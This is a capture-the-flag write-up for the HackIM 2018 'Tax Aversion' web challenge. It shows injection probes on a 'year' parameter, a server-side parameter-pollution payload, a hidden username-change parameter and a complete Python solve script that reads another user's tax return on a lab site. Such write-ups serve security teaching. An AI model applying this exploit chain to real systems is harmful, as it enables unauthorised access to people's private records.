Rating:

## Tax Aversion (Web, 500pt)

> Reward $4300 Client Mark Jeffrey Suggested prior experience Moderate
>
> A certain distinguished politician is strangely reluctant to publish his tax return. Enquiring minds would be thrilled to obtain a copy of Michael Dowd's tax return. To get started, feel free to use my HMRC account: mjeffrey:jitterbeetle
>
> [advice pending] -- admin
>
> [Go to tagret](http://hmrc.hackxor.net/)
>
> HINT: Double encoding isn't just a filter bypass technique - it can reveal important details about a system.

![](site.png)

Application provides only a small surface for exploitation. Users can only reset their password and view their tax return. We are given an account and asked to retrieve the tax return for another user (`mdowd`).

Request to update our password is:

```
POST / HTTP/1.1
Host: hmrc.hackxor.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://hmrc.hackxor.net/
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Cookie: _globalinstancekey=301063/1/P6hru1HheN0sKJ_acY7DXQ==; sid=wGpEUWHRDujkIhqTXcOFWG8BucLtNSgS
Connection: close

oldpass=jitterbeetle&newpass1=jitterbeetle&newpass2=jitterbeetle&token=EzXQt1IFGF4xc5fopa8CK76XKiPyuHWg
```

Request to view our tax return is:

```
GET /viewReturn?year=2017&username=mjeffrey HTTP/1.1
Host: hmrc.hackxor.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _globalinstancekey=301063/1/P6hru1HheN0sKJ_acY7DXQ==; sid=wGpEUWHRDujkIhqTXcOFWG8BucLtNSgS
Connection: close
```

After fuzzing all user inputs for vulnerabilities (including `sid` for padding oracle :P) the only parameter that seemed to be *kind of injectable* was `year` in the tax return requests. We could send payloads such as `2017'#ignored` and still get our tax return. However, `2017';#` or `2017' #` didn't work. Tried several bypasses, such as alternate spacing (`\x0a`, `\x0d`, `\x09`, `/**/`) and double url encoding but none worked. There must be something else...

Influenced by the last challenge my teammate [@tomtoump](https://github.com/tomtoump) solved (writeup link here) I tested the application's behavior on parameter pollution. It seemed that polluted parameters were put in array. So, I decided to test for **server-side parameter pollution**.

**Request:**
```
GET /viewReturn?year=2017'%26username%3dmdowd%3b%23&username=mjeffrey
```

**Response:**
```
Couldn't find user mjeffreymdowd
```

**Request:**
```
GET /viewReturn?year=2017'%26username%3ddowd%3b%23&username=m
```

**Response:**
```
You are not authorised to view this tax return
```

The `username` must be our real username.

I spent several more hours trying to find a way to make the username `mdowd` until my teammate [@hpyl](https://github.com/hpyl) told me that by appending the `login` parameter in password update requests, we are able to update our username besides our password! In my opinion, even though this is something that may happen in real-world applications, it just doesn't fit a CTF challenge and negatively affected its quality. Nonetheless, we can now get `mdowd`'s tax return by updating our username to `m` and then use the server-side pp to concatenate it with `dowd`.

Final solution is summarized in the [solve.py](solve.py) script.

```python
import re
import requests

_target = 'http://hmrc.hackxor.net/'
_user, _pass = 'mjeffrey', 'jitterbeetle'

sess = requests.Session()

# create new instance
sess.get(_target)

# login with provided account
sess.post(_target + 'login', data={'user': _user, 'password': _pass})
print '[+] logged in: ' + sess.cookies.get_dict()['sid']

# get csrf token
resp = sess.get(_target)
csrf_token = re.search(r'value="([^"]{30,35})"', resp.text).group(1)
print '[+] got csrf token: ' + csrf_token

# update username
sess.post(_target, data={'login': 'm', 'oldpass': _pass, 'newpass1': _pass, 'newpass2': _pass, 'token': csrf_token})
print '[+] updated username'

# exploit server-side hpp to access mdowd tax return
resp = sess.get(_target + 'viewReturn', params={'year': '2017\'%26username%3ddowd%3b%23', 'username': 'm'})
flag = re.search(r'hackim18{\'([^}]+)\'}', resp.text).group(1)
print '[+] flag: hackim18{{\'{}\'}}'.format(flag)
```

```
[+] logged in: GW9VIUEweK1VdWKtSWFrAoQ9Nl1xMaoy
[+] got csrf token: DiQdJACgGiKOBKUKlAzVLDzyScdSADud
[+] updated username
[+] flag: hackim18{'f49f40f2e2ef092770212387966e92d5'}
```

## References

* https://www.ikkisoft.com/stuff/HPParticle.pdf
* https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/

Original writeup (https://github.com/rkmylo/ctf-write-ups/tree/master/2018-hackim/web/tax-aversion-500).